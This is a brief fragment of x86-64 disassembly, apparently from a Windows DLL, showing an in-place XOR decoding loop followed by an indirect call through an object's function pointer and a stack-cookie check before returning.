add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9 - 2], ax
cmp r8d, 0x31
jl 0x1800037d0
lea rcx, [rsp + 0x20]
call fcn.180003210
mov rbx, rax
mov qword [0x1800975d8], rax
mov rdx, rdi
call fcn.180002800
test al, al
je 0x18000384d
mov rax, qword [rdi]
test rax, rax
je 0x18000384d
mov r9, qword [rax + 0x268]
test r9, r9
je 0x18000384d
lea r8, [rsp + 0x90]
mov rdx, rbx
mov rcx, rdi
call r9
movss xmm0, dword [rsp + 0x90]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.180041300
mov rbx, qword [rsp + 0xd8]
add rsp, 0xc0
pop rdi
ret